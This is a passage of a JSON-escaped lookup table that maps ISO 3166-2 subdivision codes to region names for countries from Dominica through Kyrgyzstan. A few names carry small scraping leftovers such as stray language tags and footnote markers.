Andrew\",\n  \"DM-03\": \"Saint David\",\n  \"DM-04\": \"Saint George\",\n  \"DM-05\": \"Saint John\",\n  \"DM-06\": \"Saint Joseph\",\n  \"DM-07\": \"Saint Luke\",\n  \"DM-08\": \"Saint Mark\",\n  \"DM-09\": \"Saint Patrick\",\n  \"DM-10\": \"Saint Paul\",\n  \"DM-11\": \"Saint Peter\",\n  \"DO-33\": \"Cibao Nordeste\",\n  \"DO-34\": \"Cibao Noroeste\",\n  \"DO-35\": \"Cibao Norte\",\n  \"DO-36\": \"Cibao Sur\",\n  \"DO-37\": \"El Valle\",\n  \"DO-38\": \"Enriquillo\",\n  \"DO-39\": \"Higuamo\",\n  \"DO-40\": \"Ozama\",\n  \"DO-41\": \"Valdesia\",\n  \"DO-42\": \"Yuma\",\n  \"EC-A\": \"Azuay\",\n  \"EC-B\": \"Bolívar\",\n  \"EC-F\": \"Cañar\",\n  \"EC-C\": \"Carchi\",\n  \"EC-H\": \"Chimborazo\",\n  \"EC-X\": \"Cotopaxi\",\n  \"EC-O\": \"El Oro\",\n  \"EC-E\": \"Esmeraldas\",\n  \"EC-W\": \"Galápagos\",\n  \"EC-G\": \"Guayas\",\n  \"EC-I\": \"Imbabura\",\n  \"EC-L\": \"Loja\",\n  \"EC-R\": \"Los Ríos\",\n  \"EC-M\": \"Manabí\",\n  \"EC-S\": \"Morona Santiago\",\n  \"EC-N\": \"Napo\",\n  \"EC-D\": \"Orellana\",\n  \"EC-Y\": \"Pastaza\",\n  \"EC-P\": \"Pichincha\",\n  \"EC-SE\": \"Santa Elena\",\n  \"EC-SD\": \"Santo Domingo de los Tsáchilas\",\n  \"EC-U\": \"Sucumbíos\",\n  \"EC-T\": \"Tungurahua\",\n  \"EC-Z\": \"Zamora Chinchipe\",\n  \"EG-DK\": \"Ad Daqahlīyah\",\n  \"EG-BA\": \"Al Baḩr al Aḩmar\",\n  \"EG-BH\": \"Al Buḩayrah\",\n  \"EG-FYM\": \"Al Fayyūm\",\n  \"EG-GH\": \"Al Gharbīyah\",\n  \"EG-ALX\": \"Al Iskandarīyah\",\n  \"EG-IS\": \"Al Ismā'īlīyah\",\n  \"EG-GZ\": \"Al Jīzah\",\n  \"EG-MNF\": \"Al Minūfīyah\",\n  \"EG-MN\": \"Al Minyā\",\n  \"EG-C\": \"Al Qāhirah\",\n  \"EG-KB\": \"Al Qalyūbīyah\",\n  \"EG-LX\": \"Al Uqşur\",\n  \"EG-WAD\": \"Al Wādī al Jadīd\",\n  \"EG-SUZ\": \"As Suways\",\n  \"EG-SHR\": \"Ash Sharqīyah\",\n  \"EG-ASN\": \"Aswān\",\n  \"EG-AST\": \"Asyūţ\",\n  \"EG-BNS\": \"Banī Suwayf\",\n  \"EG-PTS\": \"Būr Sa‘īd\",\n  \"EG-DT\": \"Dumyāţ\",\n  \"EG-JS\": \"Janūb Sīnā'\",\n  \"EG-KFS\": \"Kafr ash Shaykh\",\n  \"EG-MT\": \"Maţrūḩ\",\n  \"EG-KN\": \"Qinā\",\n  \"EG-SIN\": \"Shamāl Sīnā'\",\n  \"EG-SHG\": \"Sūhāj\",\n  \"SV-AH\": \"Ahuachapán\",\n  \"SV-CA\": \"Cabañas\",\n  \"SV-CH\": \"Chalatenango\",\n  \"SV-CU\": \"Cuscatlán\",\n  \"SV-LI\": \"La Libertad\",\n  \"SV-PA\": \"La Paz\",\n  \"SV-UN\": \"La Unión\",\n  \"SV-MO\": \"Morazán\",\n  \"SV-SM\": \"San Miguel\",\n  \"SV-SS\": \"San Salvador\",\n  \"SV-SV\": \"San Vicente\",\n  \"SV-SA\": \"Santa Ana\",\n  \"SV-SO\": \"Sonsonate\",\n  \"SV-US\": \"Usulután\",\n  \"GQ-C\": \"Región Continental\",\n  \"GQ-I\": \"Región Insular\",\n  \"ER-MA\": \"Al Awsaţ\",\n  \"ER-DU\": \"Al Janūbī\",\n  \"ER-AN\": \"Ansabā\",\n  \"ER-DK\": \"Janūbī al Baḩrī al Aḩmar\",\n  \"ER-GB\": \"Qāsh-Barkah\",\n  \"ER-SK\": \"Shimālī al Baḩrī al Aḩmar\",\n  \"EE-37\": \"Harjumaa\",\n  \"EE-39\": \"Hiiumaa\",\n  \"EE-45\": \"Ida-Virumaa\",\n  \"EE-50\": \"Jõgevamaa\",\n  \"EE-52\": \"Järvamaa\",\n  \"EE-60\": \"Lääne-Virumaa\",\n  \"EE-56\": \"Läänemaa\",\n  \"EE-64\": \"Põlvamaa\",\n  \"EE-68\": \"Pärnumaa\",\n  \"EE-71\": \"Raplamaa\",\n  \"EE-74\": \"Saaremaa\",\n  \"EE-79\": \"Tartumaa\",\n  \"EE-81\": \"Valgamaa\",\n  \"EE-84\": \"Viljandimaa\",\n  \"EE-87\": \"Võrumaa\",\n  \"ET-AA\": \"Ādīs Ābeba\",\n  \"ET-AF\": \"Āfar\",\n  \"ET-AM\": \"Āmara\",\n  \"ET-BE\": \"Bīnshangul Gumuz\",\n  \"ET-DD\": \"Dirē Dawa\",\n  \"ET-GA\": \"Gambēla Hizboch\",\n  \"ET-HA\": \"Hārerī Hizb\",\n  \"ET-OR\": \"Oromīya\",\n  \"ET-SI\": \"Sīdama\",\n  \"ET-SO\": \"Sumalē\",\n  \"ET-TI\": \"Tigray\",\n  \"ET-SN\": \"YeDebub Bihēroch Bihēreseboch na Hizboch\",\n  \"ET-SW\": \"YeDebub M‘irab Ītyop’iya Hizboch\",\n  \"FJ-C\": \"Central\",\n  \"FJ-E\": \"Eastern\",\n  \"FJ-N\": \"Northern\",\n  \"FJ-W\": \"Western\",\n  \"FJ-R\": \"Rotuma\",\n  \"FI-01\": \"Ahvenanmaan maakunta\",\n  \"FI-02\": \"Etelä-Karjala\",\n  \"FI-03\": \"Etelä-Pohjanmaa\",\n  \"FI-04\": \"Etelä-Savo\",\n  \"FI-05\": \"Kainuu\",\n  \"FI-06\": \"Kanta-Häme\",\n  \"FI-07\": \"Keski-Pohjanmaa\",\n  \"FI-08\": \"Keski-Suomi\",\n  \"FI-09\": \"Kymenlaakso\",\n  \"FI-10\": \"Lappi\",\n  \"FI-11\": \"Pirkanmaa\",\n  \"FI-12\": \"Pohjanmaa\",\n  \"FI-13\": \"Pohjois-Karjala\",\n  \"FI-14\": \"Pohjois-Pohjanmaa\",\n  \"FI-15\": \"Pohjois-Savo\",\n  \"FI-16\": \"Päijät-Häme\",\n  \"FI-17\": \"Satakunta\",\n  \"FI-18\": \"Uusimaa\",\n  \"FI-19\": \"Varsinais-Suomi\",\n  \"FR-ARA\": \"Auvergne-Rhône-Alpes\",\n  \"FR-BFC\": \"Bourgogne-Franche-Comté\",\n  \"FR-BRE\": \"Bretagne\",\n  \"FR-CVL\": \"Centre-Val de Loire\",\n  \"FR-20R\": \"Corse\",\n  \"FR-GES\": \"Grand Est\",\n  \"FR-HDF\": \"Hauts-de-France\",\n  \"FR-IDF\": \"Île-de-France\",\n  \"FR-NOR\": \"Normandie\",\n  \"FR-NAQ\": \"Nouvelle-Aquitaine\",\n  \"FR-OCC\": \"Occitanie\",\n  \"FR-PDL\": \"Pays-de-la-Loire\",\n  \"FR-PAC\": \"Provence-Alpes-Côte-d’Azur\",\n  \"GA-1\": \"Estuaire\",\n  \"GA-2\": \"Haut-Ogooué\",\n  \"GA-3\": \"Moyen-Ogooué\",\n  \"GA-4\": \"Ngounié\",\n  \"GA-5\": \"Nyanga\",\n  \"GA-6\": \"Ogooué-Ivindo\",\n  \"GA-7\": \"Ogooué-Lolo\",\n  \"GA-8\": \"Ogooué-Maritime\",\n  \"GA-9\": \"Woleu-Ntem\",\n  \"GM-B\": \"Banjul\",\n  \"GM-M\": \"Central River\",\n  \"GM-L\": \"Lower River\",\n  \"GM-N\": \"North Bank\",\n  \"GM-U\": \"Upper River\",\n  \"GM-W\": \"Western\",\n  \"GE-AB\": \"Abkhazia\",\n  \"GE-AJ\": \"Ajaria\",\n  \"GE-GU\": \"Guria\",\n  \"GE-IM\": \"Imereti\",\n  \"GE-KA\": \"K'akheti\",\n  \"GE-KK\": \"Kvemo Kartli\",\n  \"GE-MM\": \"Mtskheta-Mtianeti\",\n  \"GE-RL\": \"Rach'a-Lechkhumi-Kvemo Svaneti\",\n  \"GE-SZ\": \"Samegrelo-Zemo Svaneti\",\n  \"GE-SJ\": \"Samtskhe-Javakheti\",\n  \"GE-SK\": \"Shida Kartli\",\n  \"GE-TB\": \"Tbilisi\",\n  \"DE-BW\": \"Baden-Württemberg\",\n  \"DE-BY\": \"Bayern\",\n  \"DE-BE\": \"Berlin\",\n  \"DE-BB\": \"Brandenburg\",\n  \"DE-HB\": \"Bremen\",\n  \"DE-HH\": \"Hamburg\",\n  \"DE-HE\": \"Hessen\",\n  \"DE-MV\": \"Mecklenburg-Vorpommern\",\n  \"DE-NI\": \"Niedersachsen\",\n  \"DE-NW\": \"Nordrhein-Westfalen\",\n  \"DE-RP\": \"Rheinland-Pfalz\",\n  \"DE-SL\": \"Saarland\",\n  \"DE-SN\": \"Sachsen\",\n  \"DE-ST\": \"Sachsen-Anhalt\",\n  \"DE-SH\": \"Schleswig-Holstein\",\n  \"DE-TH\": \"Thüringen\",\n  \"GH-AF\": \"Ahafo\",\n  \"GH-AH\": \"Ashanti\",\n  \"GH-BO\": \"Bono\",\n  \"GH-BE\": \"Bono East\",\n  \"GH-CP\": \"Central\",\n  \"GH-EP\": \"Eastern\",\n  \"GH-AA\": \"Greater Accra\",\n  \"GH-NE\": \"North East\",\n  \"GH-NP\": \"Northern\",\n  \"GH-OT\": \"Oti\",\n  \"GH-SV\": \"Savannah\",\n  \"GH-UE\": \"Upper East\",\n  \"GH-UW\": \"Upper West\",\n  \"GH-TV\": \"Volta\",\n  \"GH-WP\": \"Western\",\n  \"GH-WN\": \"Western North\",\n  \"GR-69\": \"Ágion Óros\",\n  \"GR-A\": \"Anatolikí Makedonía kaiThráki\",\n  \"GR-I\": \"Attikí\",\n  \"GR-G\": \"Dytikí Elláda\",\n  \"GR-C\": \"Dytikí Makedonía\",\n  \"GR-F\": \"Ionía Nísia\",\n  \"GR-D\": \"Ípeiros\",\n  \"GR-B\": \"Kentrikí Makedonía\",\n  \"GR-M\": \"Kríti\",\n  \"GR-L\": \"Nótio Aigaío\",\n  \"GR-J\": \"Pelopónnisos\",\n  \"GR-H\": \"Stereá Elláda\",\n  \"GR-E\": \"Thessalía\",\n  \"GR-K\": \"Vóreio Aigaío\",\n  \"GL-AV\": \"Avannaata Kommunia\",\n  \"GL-KU\": \"Kommune Kujalleq\",\n  \"GL-QT\": \"Kommune Qeqertalik\",\n  \"GL-SM\": \"Kommuneqarfik Sermersooq\",\n  \"GL-QE\": \"Qeqqata Kommunia\",\n  \"GD-01\": \"Saint Andrew\",\n  \"GD-02\": \"Saint David\",\n  \"GD-03\": \"Saint George\",\n  \"GD-04\": \"Saint John\",\n  \"GD-05\": \"Saint Mark\",\n  \"GD-06\": \"Saint Patrick\",\n  \"GD-10\": \"Southern Grenadine Islands\",\n  \"GT-16\": \"Alta Verapaz\",\n  \"GT-15\": \"Baja Verapaz\",\n  \"GT-04\": \"Chimaltenango\",\n  \"GT-20\": \"Chiquimula\",\n  \"GT-02\": \"El Progreso\",\n  \"GT-05\": \"Escuintla\",\n  \"GT-01\": \"Guatemala\",\n  \"GT-13\": \"Huehuetenango\",\n  \"GT-18\": \"Izabal\",\n  \"GT-21\": \"Jalapa\",\n  \"GT-22\": \"Jutiapa\",\n  \"GT-17\": \"Petén\",\n  \"GT-09\": \"Quetzaltenango\",\n  \"GT-14\": \"Quiché\",\n  \"GT-11\": \"Retalhuleu\",\n  \"GT-03\": \"Sacatepéquez\",\n  \"GT-12\": \"San Marcos\",\n  \"GT-06\": \"Santa Rosa\",\n  \"GT-07\": \"Sololá\",\n  \"GT-10\": \"Suchitepéquez\",\n  \"GT-08\": \"Totonicapán\",\n  \"GT-19\": \"Zacapa\",\n  \"GN-B\": \"Boké\",\n  \"GN-F\": \"Faranah\",\n  \"GN-K\": \"Kankan\",\n  \"GN-D\": \"Kindia\",\n  \"GN-L\": \"Labé\",\n  \"GN-M\": \"Mamou\",\n  \"GN-N\": \"Nzérékoré\",\n  \"GN-C\": \"Conakry\",\n  \"GW-L\": \"Leste\",\n  \"GW-N\": \"Norte\",\n  \"GW-S\": \"Sul\",\n  \"GY-BA\": \"Barima-Waini\",\n  \"GY-CU\": \"Cuyuni-Mazaruni\",\n  \"GY-DE\": \"Demerara-Mahaica\",\n  \"GY-EB\": \"East Berbice-Corentyne\",\n  \"GY-ES\": \"Essequibo Islands-West Demerara\",\n  \"GY-MA\": \"Mahaica-Berbice\",\n  \"GY-PM\": \"Pomeroon-Supenaam\",\n  \"GY-PT\": \"Potaro-Siparuni\",\n  \"GY-UD\": \"Upper Demerara-Berbice\",\n  \"GY-UT\": \"Upper Takutu-Upper Essequibo\",\n  \"HT-AR\": \"Artibonite\",\n  \"HT-CE\": \"Centre\",\n  \"HT-GA\": \"Grande’Anse\",\n  \"HT-NI\": \"Nippes\",\n  \"HT-ND\": \"Nord\",\n  \"HT-NE\": \"Nord-Est\",\n  \"HT-NO\": \"Nord-Ouest\",\n  \"HT-OU\": \"Ouest\",\n  \"HT-SD\": \"Sud\",\n  \"HT-SE\": \"Sud-Est\",\n  \"HN-AT\": \"Atlántida\",\n  \"HN-CH\": \"Choluteca\",\n  \"HN-CL\": \"Colón\",\n  \"HN-CM\": \"Comayagua\",\n  \"HN-CP\": \"Copán\",\n  \"HN-CR\": \"Cortés\",\n  \"HN-EP\": \"El Paraíso\",\n  \"HN-FM\": \"Francisco Morazán\",\n  \"HN-GD\": \"Gracias a Dios\",\n  \"HN-IN\": \"Intibucá\",\n  \"HN-IB\": \"Islas de la Bahía\",\n  \"HN-LP\": \"La Paz\",\n  \"HN-LE\": \"Lempira\",\n  \"HN-OC\": \"Ocotepeque\",\n  \"HN-OL\": \"Olancho\",\n  \"HN-SB\": \"Santa Bárbara\",\n  \"HN-VA\": \"Valle\",\n  \"HN-YO\": \"Yoro\",\n  \"HU-BK\": \"Bács-Kiskun\",\n  \"HU-BA\": \"Baranya\",\n  \"HU-BE\": \"Békés\",\n  \"HU-BC\": \"Békéscsaba\",\n  \"HU-BZ\": \"Borsod-Abaúj-Zemplén\",\n  \"HU-BU\": \"Budapest\",\n  \"HU-CS\": \"Csongrád-Csanád\",\n  \"HU-DE\": \"Debrecen\",\n  \"HU-DU\": \"Dunaújváros\",\n  \"HU-EG\": \"Eger\",\n  \"HU-ER\": \"Érd\",\n  \"HU-FE\": \"Fejér\",\n  \"HU-GY\": \"Győr\",\n  \"HU-GS\": \"Győr-Moson-Sopron\",\n  \"HU-HB\": \"Hajdú-Bihar\",\n  \"HU-HE\": \"Heves\",\n  \"HU-HV\": \"Hódmezővásárhely\",\n  \"HU-JN\": \"Jász-Nagykun-Szolnok\",\n  \"HU-KV\": \"Kaposvár\",\n  \"HU-KM\": \"Kecskemét\",\n  \"HU-KE\": \"Komárom-Esztergom\",\n  \"HU-MI\": \"Miskolc\",\n  \"HU-NK\": \"Nagykanizsa\",\n  \"HU-NO\": \"Nógrád\",\n  \"HU-NY\": \"Nyíregyháza\",\n  \"HU-PS\": \"Pécs\",\n  \"HU-PE\": \"Pest\",\n  \"HU-ST\": \"Salgótarján\",\n  \"HU-SO\": \"Somogy\",\n  \"HU-SN\": \"Sopron\",\n  \"HU-SZ\": \"Szabolcs-Szatmár-Bereg\",\n  \"HU-SD\": \"Szeged\",\n  \"HU-SF\": \"Székesfehérvár\",\n  \"HU-SS\": \"Szekszárd\",\n  \"HU-SK\": \"Szolnok\",\n  \"HU-SH\": \"Szombathely\",\n  \"HU-TB\": \"Tatabánya\",\n  \"HU-TO\": \"Tolna\",\n  \"HU-VA\": \"Vas\",\n  \"HU-VM\": \"Veszprém\",\n  \"HU-VE\": \"Veszprém\",\n  \"HU-ZA\": \"Zala\",\n  \"HU-ZE\": \"Zalaegerszeg\",\n  \"IS-7\": \"Austurland\",\n  \"IS-1\": \"Höfuðborgarsvæði\",\n  \"IS-6\": \"Norðurland eystra\",\n  \"IS-5\": \"Norðurland vestra\",\n  \"IS-8\": \"Suðurland\",\n  \"IS-2\": \"Suðurnes\",\n  \"IS-4\": \"Vestfirðir\",\n  \"IS-3\": \"Vesturland\",\n  \"IN-AN\": \"Andaman and Nicobar Islands\",\n  \"IN-AP\": \"Andhra Pradesh\",\n  \"IN-AR\": \"Arunāchal Pradesh\",\n  \"IN-AS\": \"Assam\",\n  \"IN-BR\": \"Bihār\",\n  \"IN-CH\": \"Chandīgarh\",\n  \"IN-CG\": \"Chhattīsgarh\",\n  \"IN-DH\": \"Dādra and Nagar Haveli and Damān and Diu[1]\",\n  \"IN-DL\": \"Delhi\",\n  \"IN-GA\": \"Goa\",\n  \"IN-GJ\": \"Gujarāt\",\n  \"IN-HR\": \"Haryāna\",\n  \"IN-HP\": \"Himāchal Pradesh\",\n  \"IN-JK\": \"Jammu and Kashmīr\",\n  \"IN-JH\": \"Jhārkhand\",\n  \"IN-KA\": \"Karnātaka\",\n  \"IN-KL\": \"Kerala\",\n  \"IN-LA\": \"Ladākh\",\n  \"IN-LD\": \"Lakshadweep\",\n  \"IN-MP\": \"Madhya Pradesh\",\n  \"IN-MH\": \"Mahārāshtra\",\n  \"IN-MN\": \"Manipur\",\n  \"IN-ML\": \"Meghālaya\",\n  \"IN-MZ\": \"Mizoram\",\n  \"IN-NL\": \"Nāgāland\",\n  \"IN-OD\": \"Odisha\",\n  \"IN-PY\": \"Puducherry\",\n  \"IN-PB\": \"Punjab\",\n  \"IN-RJ\": \"Rājasthān\",\n  \"IN-SK\": \"Sikkim\",\n  \"IN-TN\": \"Tamil Nādu\",\n  \"IN-TS\": \"Telangāna[2]\",\n  \"IN-TR\": \"Tripura\",\n  \"IN-UP\": \"Uttar Pradesh\",\n  \"IN-UK\": \"Uttarākhand\",\n  \"IN-WB\": \"West Bengal\",\n  \"ID-JW\": \"Jawa\",\n  \"ID-KA\": \"Kalimantan\",\n  \"ID-ML\": \"Maluku\",\n  \"ID-NU\": \"Nusa Tenggara\",\n  \"ID-PP\": \"Papua\",\n  \"ID-SL\": \"Sulawesi\",\n  \"ID-SM\": \"Sumatera\",\n  \"IR-30\": \"Alborz\",\n  \"IR-24\": \"Ardabīl\",\n  \"IR-04\": \"Āz̄ārbāyjān-e Ghārbī\",\n  \"IR-03\": \"Āz̄ārbāyjān-e Shārqī\",\n  \"IR-18\": \"Būshehr\",\n  \"IR-14\": \"Chahār Maḩāl va Bakhtīārī\",\n  \"IR-10\": \"Eşfahān\",\n  \"IR-07\": \"Fārs\",\n  \"IR-01\": \"Gīlān\",\n  \"IR-27\": \"Golestān\",\n  \"IR-13\": \"Hamadān\",\n  \"IR-22\": \"Hormozgān\",\n  \"IR-16\": \"Īlām\",\n  \"IR-08\": \"Kermān\",\n  \"IR-05\": \"Kermānshāh\",\n  \"IR-29\": \"Khorāsān-e Jonūbī\",\n  \"IR-09\": \"Khorāsān-e Raẕavī\",\n  \"IR-28\": \"Khorāsān-e Shomālī\",\n  \"IR-06\": \"Khūzestān\",\n  \"IR-17\": \"Kohgīlūyeh va Bowyer Aḩmad\",\n  \"IR-12\": \"Kordestān\",\n  \"IR-15\": \"Lorestān\",\n  \"IR-00\": \"Markazī\",\n  \"IR-02\": \"Māzandarān\",\n  \"IR-26\": \"Qazvīn\",\n  \"IR-25\": \"Qom\",\n  \"IR-20\": \"Semnān\",\n  \"IR-11\": \"Sīstān va Balūchestān\",\n  \"IR-23\": \"Tehrān\",\n  \"IR-21\": \"Yazd\",\n  \"IR-19\": \"Zanjān\",\n  \"IQ-AN\": \"Al Anbār\",\n  \"IQ-BA\": \"Al Başrah\",\n  \"IQ-MU\": \"Al Muthanná\",\n  \"IQ-QA\": \"Al Qādisīyah\",\n  \"IQ-NA\": \"An Najaf\",\n  \"IQ-AR\": \"Arbīl\",\n  \"IQ-SU\": \"As Sulaymānīyah\",\n  \"IQ-BB\": \"Bābil\",\n  \"IQ-BG\": \"Baghdād\",\n  \"IQ-DA\": \"Dahūk\",\n  \"IQ-DQ\": \"Dhī Qār\",\n  \"IQ-DI\": \"Diyālá\",\n  \"IQ-KR\": \"Iqlīm Kūrdistān\",\n  \"IQ-KA\": \"Karbalā’\",\n  \"IQ-KI\": \"Kirkūk\",\n  \"IQ-MA\": \"Maysān\",\n  \"IQ-NI\": \"Nīnawá\",\n  \"IQ-SD\": \"Şalāḩ ad Dīn\",\n  \"IQ-WA\": \"Wāsiţ\",\n  \"IE-C\": \"Connaught\",\n  \"IE-L\": \"Leinster\",\n  \"IE-M\": \"Munster\",\n  \"IE-U\": \"Ulster[a]\",\n  \"IL-D\": \"HaDarom\",\n  \"IL-M\": \"HaMerkaz\",\n  \"IL-Z\": \"HaTsafon\",\n  \"IL-HA\": \"H̱efa\",\n  \"IL-TA\": \"Tel Aviv\",\n  \"IL-JM\": \"Yerushalayim\",\n  \"IT-65\": \"Abruzzo\",\n  \"IT-77\": \"Basilicata\",\n  \"IT-78\": \"Calabria\",\n  \"IT-72\": \"Campania\",\n  \"IT-45\": \"Emilia-Romagna\",\n  \"IT-36\": \"Friuli Venezia Giulia\",\n  \"IT-62\": \"Lazio\",\n  \"IT-42\": \"Liguria\",\n  \"IT-25\": \"Lombardia\",\n  \"IT-57\": \"Marche\",\n  \"IT-67\": \"Molise\",\n  \"IT-21\": \"Piemonte\",\n  \"IT-75\": \"Puglia\",\n  \"IT-88\": \"Sardegna\",\n  \"IT-82\": \"Sicilia\",\n  \"IT-52\": \"Toscana\",\n  \"IT-32\": \"Trentino-Alto Adigede\",\n  \"IT-55\": \"Umbria\",\n  \"IT-23\": \"Valle d'Aostafr\",\n  \"IT-34\": \"Veneto\",\n  \"JM-13\": \"Clarendon\",\n  \"JM-09\": \"Hanover\",\n  \"JM-01\": \"Kingston\",\n  \"JM-12\": \"Manchester\",\n  \"JM-04\": \"Portland\",\n  \"JM-02\": \"Saint Andrew\",\n  \"JM-06\": \"Saint Ann\",\n  \"JM-14\": \"Saint Catherine\",\n  \"JM-11\": \"Saint Elizabeth\",\n  \"JM-08\": \"Saint James\",\n  \"JM-05\": \"Saint Mary\",\n  \"JM-03\": \"Saint Thomas\",\n  \"JM-07\": \"Trelawny\",\n  \"JM-10\": \"Westmoreland\",\n  \"JP-23\": \"Aiti\",\n  \"JP-05\": \"Akita\",\n  \"JP-02\": \"Aomori\",\n  \"JP-38\": \"Ehime\",\n  \"JP-21\": \"Gihu\",\n  \"JP-10\": \"Gunma\",\n  \"JP-34\": \"Hirosima\",\n  \"JP-01\": \"Hokkaidô\",\n  \"JP-18\": \"Hukui\",\n  \"JP-40\": \"Hukuoka\",\n  \"JP-07\": \"Hukusima\",\n  \"JP-28\": \"Hyôgo\",\n  \"JP-08\": \"Ibaraki\",\n  \"JP-17\": \"Isikawa\",\n  \"JP-03\": \"Iwate\",\n  \"JP-37\": \"Kagawa\",\n  \"JP-46\": \"Kagosima\",\n  \"JP-14\": \"Kanagawa\",\n  \"JP-39\": \"Kôti\",\n  \"JP-43\": \"Kumamoto\",\n  \"JP-26\": \"Kyôto\",\n  \"JP-24\": \"Mie\",\n  \"JP-04\": \"Miyagi\",\n  \"JP-45\": \"Miyazaki\",\n  \"JP-20\": \"Nagano\",\n  \"JP-42\": \"Nagasaki\",\n  \"JP-29\": \"Nara\",\n  \"JP-15\": \"Niigata\",\n  \"JP-44\": \"Ôita\",\n  \"JP-33\": \"Okayama\",\n  \"JP-47\": \"Okinawa\",\n  \"JP-27\": \"Ôsaka\",\n  \"JP-41\": \"Saga\",\n  \"JP-11\": \"Saitama\",\n  \"JP-25\": \"Siga\",\n  \"JP-32\": \"Simane\",\n  \"JP-22\": \"Sizuoka\",\n  \"JP-12\": \"Tiba\",\n  \"JP-36\": \"Tokusima\",\n  \"JP-13\": \"Tôkyô\",\n  \"JP-09\": \"Totigi\",\n  \"JP-31\": \"Tottori\",\n  \"JP-16\": \"Toyama\",\n  \"JP-30\": \"Wakayama\",\n  \"JP-06\": \"Yamagata\",\n  \"JP-35\": \"Yamaguti\",\n  \"JP-19\": \"Yamanasi\",\n  \"JO-AJ\": \"‘Ajlūn\",\n  \"JO-AQ\": \"Al ‘Aqabah\",\n  \"JO-AM\": \"Al ‘A̅şimah\",\n  \"JO-BA\": \"Al Balqā’\",\n  \"JO-KA\": \"Al Karak\",\n  \"JO-MA\": \"Al Mafraq\",\n  \"JO-AT\": \"Aţ Ţafīlah\",\n  \"JO-AZ\": \"Az Zarqā’\",\n  \"JO-IR\": \"Irbid\",\n  \"JO-JA\": \"Jarash\",\n  \"JO-MN\": \"Ma‘ān\",\n  \"JO-MD\": \"Mādabā\",\n  \"KZ-10\": \"Abayoblysy\",\n  \"KZ-75\": \"Almaty\",\n  \"KZ-19\": \"Almatyoblysy\",\n  \"KZ-11\": \"Aqmola oblysy\",\n  \"KZ-15\": \"Aqtöbe oblysy\",\n  \"KZ-71\": \"Astana\",\n  \"KZ-23\": \"Atyraūoblysy\",\n  \"KZ-27\": \"Batys Qazaqstan oblysy\",\n  \"KZ-47\": \"Mangghystaū oblysy\",\n  \"KZ-55\": \"Pavlodar oblysy\",\n  \"KZ-35\": \"Qaraghandy oblysy\",\n  \"KZ-39\": \"Qostanay oblysy\",\n  \"KZ-43\": \"Qyzylorda oblysy\",\n  \"KZ-63\": \"Shyghys Qazaqstan oblysy\",\n  \"KZ-79\": \"Shymkent\",\n  \"KZ-59\": \"Soltüstik Qazaqstan oblysy\",\n  \"KZ-61\": \"Türkistan oblysy\",\n  \"KZ-62\": \"Ulytaūoblysy\",\n  \"KZ-31\": \"Zhambyl oblysy\",\n  \"KZ-33\": \"Zhetisū oblysy\",\n  \"KE-01\": \"Baringo\",\n  \"KE-02\": \"Bomet\",\n  \"KE-03\": \"Bungoma\",\n  \"KE-04\": \"Busia\",\n  \"KE-05\": \"Elgeyo/Marakwet\",\n  \"KE-06\": \"Embu\",\n  \"KE-07\": \"Garissa\",\n  \"KE-08\": \"Homa Bay\",\n  \"KE-09\": \"Isiolo\",\n  \"KE-10\": \"Kajiado\",\n  \"KE-11\": \"Kakamega\",\n  \"KE-12\": \"Kericho\",\n  \"KE-13\": \"Kiambu\",\n  \"KE-14\": \"Kilifi\",\n  \"KE-15\": \"Kirinyaga\",\n  \"KE-16\": \"Kisii\",\n  \"KE-17\": \"Kisumu\",\n  \"KE-18\": \"Kitui\",\n  \"KE-19\": \"Kwale\",\n  \"KE-20\": \"Laikipia\",\n  \"KE-21\": \"Lamu\",\n  \"KE-22\": \"Machakos\",\n  \"KE-23\": \"Makueni\",\n  \"KE-24\": \"Mandera\",\n  \"KE-25\": \"Marsabit\",\n  \"KE-26\": \"Meru\",\n  \"KE-27\": \"Migori\",\n  \"KE-28\": \"Mombasa\",\n  \"KE-29\": \"Murang'a\",\n  \"KE-30\": \"Nairobi City\",\n  \"KE-31\": \"Nakuru\",\n  \"KE-32\": \"Nandi\",\n  \"KE-33\": \"Narok\",\n  \"KE-34\": \"Nyamira\",\n  \"KE-35\": \"Nyandarua\",\n  \"KE-36\": \"Nyeri\",\n  \"KE-37\": \"Samburu\",\n  \"KE-38\": \"Siaya\",\n  \"KE-39\": \"Taita/Taveta\",\n  \"KE-40\": \"Tana River\",\n  \"KE-41\": \"Tharaka-Nithi\",\n  \"KE-42\": \"Trans Nzoia\",\n  \"KE-43\": \"Turkana\",\n  \"KE-44\": \"Uasin Gishu\",\n  \"KE-45\": \"Vihiga\",\n  \"KE-46\": \"Wajir\",\n  \"KE-47\": \"West Pokot\",\n  \"KI-G\": \"Gilbert Islands\",\n  \"KI-L\": \"Line Islands\",\n  \"KI-P\": \"Phoenix Islands\",\n  \"KP-04\": \"Chagang-do\",\n  \"KP-09\": \"Hamgyǒng-bukto\",\n  \"KP-08\": \"Hamgyǒng-namdo\",\n  \"KP-06\": \"Hwanghae-bukto\",\n  \"KP-05\": \"Hwanghae-namdo\",\n  \"KP-15\": \"Kaesŏng\",\n  \"KP-07\": \"Kangwǒn-do\",\n  \"KP-14\": \"Namp’o\",\n  \"KP-03\": \"P'yǒngan-bukto\",\n  \"KP-02\": \"P'yǒngan-namdo\",\n  \"KP-01\": \"P'yǒngyang\",\n  \"KP-13\": \"Rasǒn\",\n  \"KP-10\": \"Ryanggang-do\",\n  \"KR-26\": \"Busan-gwangyeoksi\",\n  \"KR-43\": \"Chungcheongbuk-do\",\n  \"KR-44\": \"Chungcheongnam-do\",\n  \"KR-27\": \"Daegu-gwangyeoksi\",\n  \"KR-30\": \"Daejeon-gwangyeoksi\",\n  \"KR-42\": \"Gangwon-teukbyeoljachido\",\n  \"KR-29\": \"Gwangju-gwangyeoksi\",\n  \"KR-41\": \"Gyeonggi-do\",\n  \"KR-47\": \"Gyeongsangbuk-do\",\n  \"KR-48\": \"Gyeongsangnam-do\",\n  \"KR-28\": \"Incheon-gwangyeoksi\",\n  \"KR-49\": \"Jeju-teukbyeoljachido\",\n  \"KR-45\": \"Jeollabuk-do\",\n  \"KR-46\": \"Jeollanam-do\",\n  \"KR-50\": \"Sejong\",\n  \"KR-11\": \"Seoul-teukbyeolsi\",\n  \"KR-31\": \"Ulsan-gwangyeoksi\",\n  \"KW-AH\": \"Al Aḩmadī\",\n  \"KW-FA\": \"Al Farwānīyah\",\n  \"KW-JA\": \"Al Jahrā’\",\n  \"KW-KU\": \"Al ‘Āşimah\",\n  \"KW-HA\": \"Ḩawallī\",\n  \"KW-MU\": \"Mubārak al Kabīr\",\n  \"KG-B\": \"Batken\",\n  \"KG-GB\": \"Bishkek Shaary\",\n  \"KG-C\": \"Chüy\",\n  \"KG-J\": \"Jalal-Abad\",\n  